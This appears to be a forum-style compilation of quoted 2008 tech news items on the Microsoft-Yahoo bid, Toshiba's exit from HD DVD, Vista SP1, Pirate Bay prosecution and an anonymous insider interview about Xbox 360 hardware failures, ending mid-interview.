Unlike many companies, Yahoo's board is structured so all 10 board members come up for election at the same time. Rather than having to wait years to get a majority, Microsoft therefore could wrest control in one fell swoop.

Simultaneous with the boardroom fight, Microsoft also plans to appeal directly to Yahoo investors to buy the Microsoft shares in what is known as an exchange offer, the source said. The process would require Microsoft to publish the number of shares it is willing to buy and the price it is willing to pay in its own shares.

Microsoft executives have repeatedly called their offer a full and fair price, although it has dropped in value to around $40 billion since it was originally offered Feb. 1 because it is pegged to Microsoft's share price. Executives have indicated that they won't increase their bid, although analysts say the company is likely to do so.

Carl Tobias, a law professor at University of Richmond who follows proxy fights, said that Microsoft is probably using the threat of a hostile takeover to scare Yahoo's board to the negotiating table. He cautioned that hostile takeovers, even when successful, often make bad business sense because they breed ill will among employees at the acquired company.

"These kinds of takeover bids aren't always successful, and they tend to be nasty," Tobias said. "Even if Microsoft wins, it may lose in terms of merging the corporate cultures."

Separately, Yahoo's board voted to provide employees with a more generous severance package if the company is acquired. Any full-time workers who are laid off without cause or who resign for good reason within two years of a merger will be able to collect their salaries for four months to two years, depending on their position.

With the plan, Yahoo, which is cutting 1,000 jobs, is trying to avoid any mass exodus of workers because of uncertainty surrounding Microsoft's potential takeover while adding extra costs onto the back of any company that takes over.

"It's a way of protecting you and putting your minds at ease so you can all focus on creating value for Yahoo," Jerry Yang, Yahoo's chief executive, said in an e-mail to employees Friday.
[/QUOTE]

Source: sfgate.com

[QUOTE]
Microsoft is giving away development and design software to university and high school students around the world through a program aimed at fostering technology innovation worldwide.

Microsoft Chairman Bill Gates is expected to unveil the DreamSpark program Tuesday at Stanford University on the first stop of a U.S. and Canadian college tour. The program is now available to more than 35 million college students in Belgium, China, Finland, France, Germany, Spain, Sweden, Switzerland, the U.K. and the U.S.

Software available to students through DreamSpark includes Microsoft's development environment, Visual Studio 2005 Professional Edition, and its Web and graphic design toolset, the Expression Studio. Microsoft also is making available XNA Game Studio 2.0, SQL Server Developer Edition, Windows Server Standard Edition and other software and resources through the program.

In the next six months Microsoft expects to extend the program to college students in Australia, the Czech Republic, Estonia, Japan, Lithuania, Latvia, Slovakia and other countries. And in the third quarter, the software will be available to high school students as well, Microsoft said.

DreamSpark is part of a company-wide effort to work with local governments, communities and academic institutions worldwide to give potential technology workers a head start in the competitive job market to foster technology innovation and improve citizens' quality of life, especially in developing countries.

Microsoft also is trying to compete worldwide with open-source technologies such as Linux that are freely available to anyone and thus popular with student computer enthusiasts who may not be able to afford to purchase Microsoft products.

One major benefactor of DreamSpark is Aisec, an international exchange student program. Its 28,000 students will get software such as Microsoft's Office productivity suite, said Michelle Galant, vice president of communications.

Aisec, which has 1,100 offices in 100 countries, will also use the company's Exchange e-mail server, Gallant said. "It enables us to run offices and enables us to run our exchange program," she said.[/QUOTE]

More information about DreamSpark can be found on Microsoft's MSDN developer site.

Full Story: pcworld.com

[QUOTE]
Toshiba Corporation today announced that it has undertaken a thorough review of its overall strategy for HD DVD and has decided it will no longer develop, manufacture and market HD DVD players and recorders. This decision has been made following recent major changes in the market. Toshiba will continue, however, to provide full product support and after-sales service for all owners of Toshiba HD DVD products.

HD DVD was developed to offer consumers access at an affordable price to high-quality, high definition content and prepare them for the digital convergence of tomorrow where the fusion of consumer electronics and IT will continue to progress.

"We carefully assessed the long-term impact of continuing the so-called 'next-generation format war' and concluded that a swift decision will best help the market develop," said Atsutoshi Nishida, President and CEO of Toshiba Corporation. "While we are disappointed for the company and more importantly, for the consumer, the real mass market opportunity for high definition content remains untapped and Toshiba is both able and determined to use our talent, technology and intellectual property to make digital convergence a reality."
Toshiba will continue to lead innovation, in a wide range of technologies that will drive mass market access to high definition content. These include high capacity NAND flash memory, small form factor hard disk drives, next generation CPUs, visual processing, and wireless and encryption technologies. The company expects to make forthcoming announcements around strategic progress in these convergence technologies.

Toshiba will begin to reduce shipments of HD DVD players and recorders to retail channels, aiming for cessation of these businesses by the end of March 2008. Toshiba also plans to end volume production of HD DVD disk drives for such applications as PCs and games in the same timeframe, yet will continue to make efforts to meet customer requirements. The company will continue to assess the position of notebook PCs with integrated HD DVD drives within the overall PC business relative to future market demand.
This decision will not impact on Toshiba's commitment to standard DVD, and the company will continue to market conventional DVD players and recorders. Toshiba intends to continue to contribute to the development of the DVD industry, as a member of the DVD Forum, an international organization with some 200 member companies, committed to the discussion and defining of optimum optical disc formats for the consumer and the related industries.

Toshiba also intends to maintain collaborative relations with the companies who joined with Toshiba in working to build up the HD DVD market, including Universal Studios, Paramount Pictures, and DreamWorks Animation and major Japanese and European content providers on the entertainment side, as well as leaders in the IT industry, including Microsoft, Intel, and HP. Toshiba will study possible collaboration with these companies for future business opportunities, utilizing the many assets generated through the development of HD DVD.
[/QUOTE]

Source: www.toshiba.co.jp

[QUOTE]
Toshiba Corporation has decided to withdraw from next generation high-definition DVD production.

The company said it will continue to sell HD-DVD products for a while but will stop further development of HD DVD. Meanwhile, it said its DVD factories in Aomori Prefecture, northern Japan, would be closed.

Market observers said that Toshiba could suffer a loss of hundreds of millions of US dollars.
[/QUOTE]

Full Story: nhk.or.jp

[QUOTE]
With Microsoft’s announcement today to buy cell phone software maker Danger Inc., the deal may not only strengthen the software giant’s position in consumer mobile phones and strengthen defenses against Google’s Android platform, but also mean a new addition for gamers.

The acquisition will provide more applications to Xbox through existing Danger services, Microsoft said. However, the possibility of a portable Xbox arises from Danger’s wide range of software, which can be made capable of playing some Xbox games, with the company’s gadgets used as the foundation for a portable gaming device capable of making phone calls.

“Microsoft is a global leader with our Windows Mobile software and expanding mobile services,” said Robbie Bach, president of the Entertainment and Devices Division at Microsoft. “The addition of Danger serves as a perfect complement to our existing software and services, and also strengthens our dedication to improving mobile experiences centered around individuals and what they like.”

Microsoft intends to combine Danger’s applications, including HTML Web browsing, instant messaging, games, multimedia, social networking, and Web email into Xbox, as well as MSN, Zune, Windows Live, and Windows Mobile.

Danger’s broad software portfolio also provides the opportunity to play lightweight Xbox games in future versions, according to Dan Frommer from Forbes.

“Another plus: Because Danger doesn’t build its own gadgets, Microsoft can pick the manufacturing strategy that makes the most sense,” Frommer said. “For now, it can keep outsourcing devices to partners like Motorola, which also makes Windows Mobile phones. And later, if it wants, Microsoft can merge Danger’s gadgets into its Zune line -- or use it as the basis for a portable Xbox that also makes phone calls.”
[/QUOTE]

Source: gamerush.zoomshare.com

[QUOTE]
Yahoo has formally rejected Microsoft's USD 44.6 billion takeover bid.

In a statement, Yahoo said that its board "unanimously concluded that the proposal is not in the best interests of Yahoo and our stockholders."

Yahoo also said that the offer substantially undervalues the company, failing to take into account its strong brand and global audience. "The board of directors is continually evaluating all of its strategic options in the context of the rapidly evolving industry environment and we remain committed to pursuing initiatives that maximize value for all stockholders," the statement read.
[/QUOTE]

Source: gamesindustry.biz

[QUOTE]

[...]
Q: What do you think about the regular hype about the release of a new version of Microsoft Windows or Apple OS X?

A: An o/s should never have been something that people (in general) really care about: it should be completely invisible and nobody should give a flying f*** about it except the technical people.

It's stupid - when you make a big deal about something like Vista or Leopard a lot of it is about things I don't consider to be the operating system. It's about the visual shell around it. The fact Microsoft tied the two together so much actually caused them problems, not just the legal problems. If you manage a thousand clients, or a hundred thousand

clients which is not at all unheard of, you sure as hell don't want to point and click at them. In many ways Microsoft has had to fix the design mistakes they made when they thought the graphical approach should be a very intimate part of (Windows).

To Microsoft and Apple the o/s is important as a way to control the whole environment, from a marketing and money-making standpoint, to force people to upgrade their applications, and your hardware.

Q. Do you have a favourite between Leopard and Vista?

A: I don't think they're equally flawed. I think Leopard is a much better system. On the other hand, (I've found) OS X in some ways is actually worse than Windows to program for. Their file system is complete and utter crap, which is scary. I think OS X is nicer than Windows in many ways, but neither can hold a candle to my own (Linux). It's a race to second

place!
[...]

[/QUOTE]

Source: http://www.smh.com.au/

[QUOTE]
One of the “big” features discussed in early speculation of Windows Vista SP1 was the kernel upgrade, which was supposed to bring the operating system into line with the Longhorn kernel used in Windows Server 2008. And yet with Vista SP1 going RTM, there hasn't been so much as a peep from Microsoft about the mooted kernel update. Has it happened?

Well the answer is yes it has, and presumably the main reason for Microsoft’s silence on the subject is that as they’re keen to promote the improvements and enhancements to Vista, rather than placing emphasis on a kernel upgrade, which some people might see as a risk of newly-introduced instability.

The whole thing is still quite interesting. You can tell what build of Windows you’re running by a variety of means:

• if you open a Command Window it will immediately tell you what version you have
• or go Start --> Run --> winver
• or check out the properties of C:\Windows\System32\NTOSKRNL
• or open Regedit and navigate to HKLM\Software\Microsoft\Windows NT\Current Version.

All these methods will give you an idea of what version and build of Windows you’re running, although the last two give more detailed information.

Build info - Vista SP1 RTM

Build info - Server 2008 RTM

The version and build information of Windows Vista SP1 and Windows Server 2008 (RTM) are exactly the same as each other. And yes, Vista's kernel has been replaced. Windows Vista pre-SP1 is Windows version 6.0 build 6000 (6.0.6000) whereas Windows Vista SP1 RTM is version 6.0 build 6001 (6.0.6001) – the same as Server 2008.

Don't ask me how I know what's in the RTM versions of Server 2008 and Vista SP1. (Zip it ... I said, don't ask me.)

Interestingly, if you do a winver on Server 2008, you’ll see that the version information is actually version 6.0 build 6001 Service Pack 1. No, it’s not Server 2008 Service Pack 1, but rather Service Pack 1 of the original Longhorn code (Windows 6.0).

So if you look at it one way, the Windows Vista “kernel upgrade” isn’t a fundamental update, but rather, an alignment of the two operating systems. In some ways, both can be said to be running Windows Vista SP1, which is interesting in a seriously geeky sort of way.

Windows Server 2008 WINVER

Still, makes you realise just how long SP1 code has been in the pipeline...
[/QUOTE]

Source: http://apcmag.com/

Related stories:

• LEAKED: Vista SP1 analysed in-depth

• Microsoft announces Vista SP1 RTM

• Don't wait for Vista SP1, pleads Microsoft

• Vista Service Pack 1 is coming

[QUOTE]
Hi, Mike Nash here from the Windows Product Management group at Microsoft.  Today we are excited to announce that we have released Service Pack 1 for Windows Vista to manufacturing (RTM) for our first set of languages (English, French, Spanish, German and Japanese).

Service Pack 1 is a very important milestone because it addresses many of the key issues that our customers have identified with Windows Vista over the last year both, directly and through programs like the Customer Experience Improvement Program.  With Service Pack 1, we have made great progress in performance, reliability and compatibility.  One of the great things about my job is that I get to play with the latest builds of our products -- I've personally been running Windows Vista SP1 pretty exclusively for a few months and I've noticed that my systems run faster and more reliably than they did with the "Gold" release of Windows Vista.

When we first released Windows Vista last year, there were lots of customers who had great experiences, but some had issues finding applications that worked well on Windows Vista; others had problems finding the right device drivers for some of the hardware devices that they used.  The reason for these issues is that in order to improve the reliability and security of Windows Vista, we made some important architectural changes to the system.  While this caused some issues in the short term, in the long term we know that these investments will improve both the reliability and security of the customer experience on Windows.  Check out this blog post about the first year of Windows Vista security to see how some of these changes are paying off.

The good news is that this last year has been a great year of progress for Windows Vista in terms of improving application and device compatibility.  For example, 98 out of the top-selling 100 applications have versions available for Windows Vista.  And through the great work of our hardware partners, we now have 78,000 devices and components supported by Windows Update, up from about 34,000 in November 2006.  As a result, we have licensed over 100 million copies of Windows Vista to date.

Service Pack 1 brings new improvements that are based on feedback we heard from our customers.  It further improves the reliability and performance of Windows Vista.  The information we collect thanks to tools like the Customer Experience Improvement Program, Online Crash Analysis, and Windows Error Reporting help us learn about where and when customers are having issues with Windows Vista and the applications that run on it.  Since these issues have a direct impact on our customers' experiences, we've invested time and energy to make this better.  While Windows Vista Service Pack 1 is an important milestone, we will continue to invest in the continuous improvement process.

SP1 also includes changes focused on improving the performance of Windows Vista in areas that impact the customer experience the most.  For instance, with SP1, copying or moving files around your PC, your home network or your corporate network should now be much faster -- up to 50% faster in some scenarios (according to our internal tests).  In addition, on many kinds of hardware, resuming a Windows Vista-based PC from sleep is faster on Service Pack 1.

The key learning over the last year is that when we change the operating system, it takes time to let the ecosystem make sure that the hardware and software that they build works well with Windows Vista.  So as we release Windows Vista SP1 to manufacturing, we are going to be thoughtful about when and how it gets distributed.

With today's RTM of SP1, a number of processes kick off as we deliver the update to customers.  Our OEM partners will get SP1 and start producing new PCs running Windows Vista with SP1 pre-installed.  We will also start the manufacturing process for retail product of Windows Vista with SP1.  Both will be available in stores for new Windows Vista customers in the coming months.  Today we also start the process to manufacture DVDs for our enterprise customers who get our software via our Volume Licensing program.

As we update our customers to SP1, we want everyone to have a great install experience.  We are going to stage our rollout of SP1 for current Windows Vista users to be approximately concurrent with the availability of Windows Vista SP1 on new PCs and in stores.  There are a couple of reasons for this.  Our beta testing identified an issue with a small set of device drivers.  These drivers do not follow our guidelines for driver installation and as a result, some beta participants who were using Windows Vista and updated to Service Pack 1 reported issues with these devices.  Because the issue was with the way the drivers were installed and not the drivers themselves, the solution was simply to reinstall the drivers.  While this worked fine for our more technical beta testers, we want to deliver a better experience for customers as we make the update broadly available.

While we know that most customers who update from Windows Vista to SP1 will NOT be affected, our approach is to improve the experience for all our customers.  To do this, we will begin making SP1 available through Windows Update in mid-March, giving us time to work with some of our hardware partners to make adjustments to the installation process for the affected drivers.  As SP1 gets delivered through Windows Update, we will only offer it to PCs that we detect don't have any of the affected device drivers installed.  We're taking the next month or so to continue our work of identifying as many of these devices as possible.

Here's the timing for SP1 availability for current Windows Vista users:

• In mid-March, we will release Windows Vista SP1 to Windows Update (in English, French, Spanish, German and Japanese) and to the download center on microsoft.com.  Customers who visit Windows Update can choose to install Service Pack 1.  If Windows Update determines that the system has one of the drivers we know to be problematic, then Windows Update will not offer SP1.  Since we know that some customers may want to update to SP1 anyhow, the download center will allow anyone who wants to install SP1 to do so.
• In mid-April, we will begin delivering Windows Vista SP1 to Windows Vista customers who have chosen to have updates downloaded automatically.  That said, any system that Windows Update determines has a driver known to not update successfully will not get SP1 automatically.  As updates for these drivers become available, they will be installed automatically by Windows Update, which will unblock these systems from getting Service Pack 1.  The result is that more and more systems will automatically get SP1, but only when we are confident they will have a good experience.
• The remaining languages will RTM in April.

New customers should feel great about buying Windows Vista today, knowing that when everything is ready, SP1 will be available to them via Windows Update.  In the meantime, remember that you can take advantage of the benefits of Windows Vista (including many improvements delivered via Windows Update) even without Service Pack 1.

This is an important milestone for our current and future Windows Vista customers around the world.  I want to take a minute to thank our customers for their feedback on Windows Vista and the beta of Service Pack 1.  I also want to thank our hardware and software partners for their continued efforts to deliver the best experiences on Windows Vista.

-Mike
[/QUOTE]

Source: http://windowsvistablog.com/

[QUOTE]
Windows Mobile 6.1 will be unveiled officially in about 2 weeks at Mobile World Congress 2008 (watch our first-hand reports from there!) but already now somebody has managed to play with it!

Here are the highlights:

• Office Mobile now includes also One Note Mobile application - apart from Word Mobile, Excel Mobile and PowerPoint Mobile, one new application is available - it can record voice notes and drawings and textual notes
• Internet Explorer now has function "Zoom Out" what enables page-overview mode and better overall navigation through web pages
• Windows Mobile 6.1 still is based on Windows CE 5.2 so no upgrade to Windows CE 6.0
• SMS chat view mode is available so SMS messages can appear in threaded-way - more comfortable to follow SMS conversations
• instead of "Settings / Memory / Running Programs" now a Task Manager is available with possibility to set settings of executed threads/processes like CPU (indication of dual-core Windows Mobile devices?) and memory
• new menu item "Managed Programs"
• the much expected improvements in usage for finger based navigation - are nowhere to be found! (apparently users will need to wait till 2009 for Windows Mobile 7 to get them)

To learn more visit Windows Mobile 6.1 Professional review (in Portuguese but several screenshots are in English and worth seeing).
[/QUOTE]

Source: http://msmobiles.com/

[QUOTE]
[...]
"It's about time. Great for Microsoft. Great for Yahoo shareholders. These Internet markets are winner-take-all markets and they cannot be built. Time is too valuable. Yahoo has one of the best positions on the Internet because it's integrated brand (advertising) with search.
[...]
"They have to do it because they've tried everything they can do to fix MSN. Yahoo is the most visited site in the world, so it goes without saying that given the current valuation, this is the perfect time for them to buy it. "Google is running away with the search market and that's obviously the best part of the market. The likelihood that Google gets caught is slim to none. "You might not catch Google, but you can still be a legitimate player."
[...]
"We think it is great for Yahoo shareholders. This consolidates the marketplace down to Google versus Microsoft. Their multiple areas overlap -- not just search but also applications. Google's been pushing hard into the application space. "Yahoo mail continues to be much slower than the Gmail product. Yahoo search continues to lose share to Google. Asked whether Google might counterbid for Yahoo he said, "There is really nothing there that Google wants that they (Google) don't have."
[...]
"Microsoft has been getting more aggressive with acquisitions. We've seen them start to step up and buy large public players. Strategically, it makes sense. "It's a fair price. Clearly Yahoo shares have been under pressure. Microsoft wants to get it done, and get it done quickly. Trying to offer them a 10 percent premium would be kind of foolish. You'd create a problem, you'd let other bidders get into the fray.
[...]
[/QUOTE]

More on: http://www.reuters.com/

[QUOTE]
The openness of the Internet is what made Google -- and Yahoo! -- possible. A good idea that users find useful spreads quickly. Businesses can be created around the idea. Users benefit from constant innovation. It's what makes the Internet such an exciting place.

So Microsoft's hostile bid for Yahoo! raises troubling questions. This is about more than simply a financial transaction, one company taking over another. It's about preserving the underlying principles of the Internet: openness and innovation.

Could Microsoft now attempt to exert the same sort of inappropriate and illegal influence over the Internet that it did with the PC? While the Internet rewards competitive innovation, Microsoft has frequently sought to establish proprietary monopolies -- and then leverage its dominance into new, adjacent markets.

Could the acquisition of Yahoo! allow Microsoft -- despite its legacy of serious legal and regulatory offenses -- to extend unfair practices from browsers and operating systems to the Internet? In addition, Microsoft plus Yahoo! equals an overwhelming share of instant messaging and web email accounts. And between them, the two companies operate the two most heavily trafficked portals on the Internet. Could a combination of the two take advantage of a PC software monopoly to unfairly limit the ability of consumers to freely access competitors' email, IM, and web-based services? Policymakers around the world need to ask these questions -- and consumers deserve satisfying answers.

This hostile bid was announced on Friday, so there is plenty of time for these questions to be thoroughly addressed. We take Internet openness, choice and innovation seriously. They are the core of our culture. We believe that the interests of Internet users come first -- and should come first -- as the merits of this proposed acquisition are examined and alternatives explored.
[/QUOTE]

Source: http://googleblog.blogspot.com/

The game will be using "Digital Molecular Matter" developed by Pixelux Entertainment for dynamically destructible objects, Havok for rigid body physics, and a graphics engine developed by LucasArts in conjunction with Industrial Light & Magic and Euphoria developed by NaturalMotion. Pre-visualization demonstrations were shown at the LucasArts booth at E3 2006.

The game takes place between Star Wars Episode III: Revenge of the Sith and Star Wars Episode IV: A New Hope and, according to Steve Sansweet, "has some incredible revelations." The player assumes the role of "Darth Vader's secret apprentice". The player is sent across the galaxy to destroy the remaining Jedi. The story is both a continuation of the prequel trilogy - exploring the aftermath of Emperor Palpatine's order to exterminate the Jedi and focusing on the continued evolution of Darth Vader - and a direct bridge between the original films.

Official Website: www.lucasarts.com/games/theforceunleashed

[QUOTE]
BioShock Takes Top Honors as Game of the Year. The full list of the 2007 Game Critics Awards: Game of the Year winners is now posted on the Game Critics Awards website. You can see the full list of winners at http://www.gamecriticsawards.com/goty.html.

Top 10 Games of 2007:

1. BioShock
2. The Orange Box
3. Call of Duty 4: Modern Warfare
4. Rock Band
5. Super Mario Galaxy
6. Halo 3
7. Mass Effect
8. God of War II
9. Assassin's Creed
10. Uncharted: Drake's Fortune

Game of the Year breakdown by platform:

1. Xbox 360: 7
2. PlayStation 3: 5
3. PC: 3
4. Wii:  1
5. PlayStation 2: 1

Game of the Year breakdown by publisher:

1. Microsoft Game Studios: 2
2. Sony Computer Entertainment: 2
3. EAP (Valve, MTV Games/Harmonix): 2
4. 2K Games: 1
5. Activision: 1
6. Nintendo: 1
7. Ubisoft: 1

[/QUOTE]

Full Story: majornelson.com

[QUOTE]
Microsoft Corporation has announced that it has made a proposal to acquire Yahoo! for approximately USD 44.6 billion. The offer of USD 31 per share represents a 62 per cent premium over the stocks's January 31 closing price.

"We have great respect for Yahoo!, and together we can offer an increasingly exciting set of solutions for consumers, publishers and advertisers while becoming better positioned to compete in the online services market," said Microsoft CEO Steve Ballmer.

If the deal was accepted by Yahoo! and approved by regulatory agencies, it would be completed in the second half of calendar year 2008.
[/QUOTE]

Full Story: gamesindustry.biz

[QUOTE]
Want to know about how privately held Facebook is doing from a financial point of view?

Well, just ask Mark Zuckerberg!

This afternoon, at an all-hands meeting held in a Palo Alto, Ca. theater near the social networking site’s headquarters, the 23-year-old founder was quite voluble on that topic, outlining numbers that a more experienced CEO might think twice about unveiling to a large audience.

With an open dial-in number! Many employees, in fact, were horrified that Zuckerberg would be so blabby about such important financial information. Others loved it.

Most were simply surprised (although, to be fair, Google Co-Founders Larry Page and Sergey Brin used to give a lot of detailed company info to their employees before going public, but in coordination with other execs).

“I can’t believe he was doing it,” said one. “It was really unbelievable.”

Believe it! Some highlights?

Revenue for Facebook for 2007 will be $150 million, as has been widely reported. But for 2008, Zuckerberg projected revenue to be increased to $300 to $350 million.

More interesting was the news that Facebook would spend $200 million next year on capital expenditures, which is a whole lot of servers.

By the way, more expenses, noted chatty Mark, those employee levels would rise to more than 1,000 in 2008 from 450 now.

And Zuckerberg also said the company’s EBITDA–earnings before interest, taxes, depreciation and amortization and a number widely used by Wall Street as an indication of operating performance–would be $50 million in 2008.

That means, the company would have a negative cash flow of about $150 million (EBITDA minus CapEx), rather than break even, as it does now.

But who’s counting? Zuckerberg apparently said he did not care about maintaining EBITDA anyway.

That’s because Facebook collected $300 million in investments recently from Microsoft and other investors, which pegged the valuation of the company at $15 billion.
[/QUTOE]

Source: http://kara.allthingsd.com/

[QUOTE]
Sweden plans this week to charge the people running Pirate Bay, one of the world's most visited websites, with being accessories in breaking copyright law.

Pirate Bay helps web surfers share copyrighted music and film files, which is illegal in many countries, including Sweden.

Public prosecutor Hakan Roswall said last week he will charge the Swedish site's organisers with accessory and conspiracy to break copyright law, which could lead to fines or up to two years in prison.

The charges will be filed in a district court on January 31.

The Motion Picture Association of America and the International Federation of the Phonographic Industry (IFPI) are among those who have called for action to shut down the site.

No copyright material is stored on Pirate Bay's servers and no swapping of files actually takes place there. Rather, Pirate Bay locates file sharers on the Internet and acts as a directory of so-called torrent files.

BitTorrent is a protocol that enables big file transfers. The torrent files, downloadable from Pirate Bay, contain the information needed to download film or music files from others.

"It's not merely a search engine. It's an active part of an action that aims at, and also leads to, making copyright protected material available," Roswall told Reuters.

"It's a classic example of accessory - to act as intermediary between people who commit crimes, whether it's in the physical or the virtual world," he said.

But the people behind the site say they cannot be held responsible for material that is being spread.

"It's idiotic. There is no legal ground (for the charges)," Pirate Bay spokesman Peter Sunde told Reuters.

The case is partly based on evidence collected in a 2006 raid against Pirate Bay's servers, located then in Stockholm.

Pirate Bay was started by a Swedish anti-copyright group in 2003. Later the site was run by Sunde and two others, Gottfrid Svartholm and Fredrik Neij. Neij owns the domain.

It does not charge users and earns money from advertisers.

Roswall said it could take more than convictions in Sweden to stop Pirate Bay. "Because the infrastructure is scattered among several places around the world... no separate country will be able to stop the site," he said.

But he believes advertisers could have second thoughts about using Pirate Bay if a guilty verdict is handed down. "That can be the sort of thing that influences the site in the long run."

Sunde said there were no plans to shut down the site in the event of a conviction. He said he, Svartholm and Neij were unaware of the location of Pirate Bay's current servers.

He said Pirate Bay had 2.5 million registered members and about as many visit the site every day.

In 2007, some 600,000 out of nine million Swedes downloaded feature films, according to Mediavision. The Swedish research firm expects the number to rise to some 800,000 this year.

IFPI estimates there are 20 illegal music downloads worldwide for every one legal sale, IFPI spokesman Alex Jacob said.
[/QUOTE]

Source: Reuters, http://www.smh.com.au/

[QUOTE]
Microsoft released yet more test builds of both Windows XP Service Pack (SP) 3 and Windows Vista SP1 this week.

Microsoft made the newest test build of XP SP3, which it is calling XP SP3 Release Candidate (RC) Refresh 2, available to 15,000 testers on January 23, Microsoft officials said. It also released a new refresh of its Vista SP1 build, known as Vista SP1 RC Refresh 2, to the same 15,000 testers on January 24, execs said.

Microsoft made both builds available via its private Connect test site.

Microsoft released privately and then publicly an RC test build of Vista SP1 just a couple of weeks ago. The company released a public RC test build of XP SP3 in December 2007.

Microsoft has said the final version of Windows Vista SP1 is due to ship in the first quarter of 2008, and the final XP SP3 some time in the first half of this year. Microsoft has been delivering both private and public test builds of both service packs on a regular basis over the past few months.

The test group for both service packs includes “corporate customers, consumer enthusiasts, software and hardware vendors, and others,” Microsoft reiterated. However, neither of these new builds are available for public download — at least not right now.

Earlier this week, there were some reports floating claiming that Microsoft is planning to deliver the final Vista SP1 bits on February 15. I hear the delivery date might be sooner than that and could even sync up with the release to manufacturing (RTM) of Windows Server 2008, which sources say is could happen in the first week of February. Guess we’ll see soon….
Microsoft officials reiterated during the company’s Q2 FY 2008 earnings call on January 24 that the first Vista SP, a release awaited by many business users before they will deploy the latest Windows release, is on track for delivery in the first quarter of 2008.

So if you’re one of the chosen 15,000 testers, there are new SPs out there with your names on them. Any of you seeing any showstoppers in either Vista SP1 or XP SP3, at this point?
[/QUOTE]

Found on: http://blogs.zdnet.com/

[QUOTE]
Asteroid 2007 TU24, discovered by the Catalina Sky Survey on October 11, 2007 will closely approach the Earth to within 1.4 lunar distances (334,000 miles) on 2008 Jan. 29 08:33 UT. This object, between 150 and 600 meters in diameter, will reach an approximate apparent magnitude 10.3 on Jan. 29-30 before quickly becoming fainter as it moves further from Earth. For a brief time the asteroid will be observable in dark and clear skies with amateur telescopes of 3 inch apertures or larger.

For an interactive illustration of this object's orbit see:

http://ssd.jpl.nasa.gov/sbdb.cgi?sstr=2007+TU24&orb=1

The illustration below is courtesy of amateur astronomer Dr. Dale Ireland from Silverdale, WA. The illustration shows the asteroid's track on the sky for 3 days near the time of the close Earth approach as seen from the city of Philadelphia. Since the object's parallax will be a significant fraction of a degree, observers are encouraged to use our on-line Horizons ephemeris generation service for their specific locations. These personalized ephemeris tables can be generated at: http://ssd.jpl.nasa.gov/horizons.cgi?find_body=1&body_group=sb&sstr=2007%20TU24

Given the estimated number of near-Earth asteroids of this size (about 7,000 discovered and undiscovered objects), an object of this size would be expected to pass this close to Earth, on average, about every 5 years or so. The average interval between actual Earth impacts for an object of this size would be about 37,000 years. For the January 29th encounter, near Earth asteroid 2007 TU24 has no chance of hitting, or affecting, Earth.

2007 TU24 will be the closest currently known approach by a potentially hazardous asteroid of this size or larger until 2027. Plans have been made for the Goldstone planetary radar to observe this object Jan 23-24 and for the Arecibo radar to observe it Jan 27-28 and then Feb 1-4. High resolution radar imaging is expected, which may permit later 3-D shape reconstruction.
[/QUOTE]

Source: http://neo.jpl.nasa.gov/news/

[QUOTE]
Since it's launch in Fall of 2005 Xbox 360 systems all over the world have had major hardware failure problems resulting in millions of costumers having to mail their Xbox back to Microsoft. No one really knows what has been causing these problems since the official lines never divulged the specific problems or rates of failure. All a person has to do is to press the power button on their Xbox 360 and there is a chance that it will just up and fail to boot up and shine the "Red Rings of Death". Microsoft decided to extend the warrantee for the Xbox 360 but the cloud of fear and uncertainly still hang around the game system.

The Xbox 360 "Red Ring of Death"

This past week I met and interviewed an individual who has worked on the Xbox 360 project for many years and they had some things that they wanted to get out into the public. I have the fullest confidence in the integrity of this confidential source. While respecting and protecting their rights we were able to have an in-depth interview of working in the Xbox project and just how things progressed to this point. Just keep in mind that a while back I broke the story that Bungie was leaving Microsoft and had all the details a full week before the official PR announcement Once again I have a confidential source from inside Redmond and I't all checks out to me.

Now on to the Interview:

Q: So what do you think the real failure rate of the Xbox 360 is? Some have estimated it as high as 30%. I got my Xbox in early 2007 and so far so good but what do you think the chance is that it's going to die on me one day.

It's around 30%, and all will probably fail early. This quarter they are expecting 1 M failures, most of those Xenons. Some of those are repeat failures. Life expectancy is all over the map because the design has very little margin for most of the important parameters. That means it's not a fault tolerant design. So a good unit may last a couple of years, while a bad unit can fail in hours. I have a launch unit and have not had a single problem with it. And it's used a lot. But I don't know anyone else with a 360 that hasn't broken, except you now. There's no way to tell when yours might die. But the cooler you can keep it, the longer it will probably last. So stand it up, keep it in free air, etc. :Note : Xenon was the code name for the first Xbox 360 mother board.

Q: Of all five videogame systems on the market now (PS3, PSP, PS2, DS, Wii and 360)only the Xbox 360 has had such major hardware failure problems. Microsoft being the only company based in the US making a videogame system. What part of Microsoft's way of doing things do you think caused this situation to happen.
First, MS has under resourced that product unit in all engineering areas since the very beginning. Especially in engineering support functions like test, quality, manufacturing, and supplier management. There just weren't enough people to do the job that needed to be done. The leadership in many of those areas was also lopsided in essential skills and experience. But I hear they are really trying to staff up now based on what has happened, and how cheap staff is compared to a couple of billion in cost of quality.

Second, MS was so focused on beating Sony this cycle that the 360 was rushed to market when all indications were that it had serious flaws. The design qual testing was insufficient and incomplete when the product was released to production. The manufacturing test equipment had major gaps in test coverage and wasn't reliable or repeatable. Manufacturing processes at eall levels of suppliers were immature and not in control. Initial end to end yields were in the mid 30%. Low yields always indicate serious design and manufacturing defects. Management chose to continue to ship anyways, and keep the lines running while trying to solve problems and bring the yields up. Whenever something failed and there was a question about whether the test result was false, they would remove that test, retest and ship, or see if the unit would boot a game and run briefly and then ship. 360 is too complex of a machine to get away with that.

In the end I think it was fear of failure, ambition to beat Sony, and the arrogance that they could figure anything out, that led to the decision to keep shipping. That management team had made some pretty bad decisions in the past and had never had to pay a proportional consequence. I'm sure they thought that somehow they would figure it out and everything would end up ok. Plus, they tend to make big decisions like that in terms of dollars. They would rationalize that if the first few million boxes had a high failure rate, a few 10's of millions of dollars would cover it. And contrasting that cost with a big lead on Sony, would pay it in a heartbeat. They weren't even thinking about Nintendo.

Compare that to Sony, who delayed their launch, even though they were behind, when their box wasn't ready.

Q: In your opinion what do you think the main cause of the Red Ring of Death failures have been?
RROD is caused by anything that fails in the "digital backbone" on the mother board. Also known as a core digital error. CPU, GPU, memory, etc. Bad parts, incompatible parts (timing problems) bad manufacturing process (like solder joints), misapplied heat sinks or thermal interface material, missing parts, broken parts, parts of the wrong value, missed test coverage. Any one or more, on any chip, or many other discrete components, would cause this. And many of the failures were obviously infant mortality, where they work when they leave the factory and fail early in use. The main design flaw was the excessive heat on the GPU warping the mother board around it. This would stress the solder joints on the GPU and any bad joints would then fail in early life.

There are also other significantly high failure rates in other areas, like the DVD.

Q: Does some games more than others cause hardware failure. Gears of War and Dead Rising were thought to be system killers when they came out.
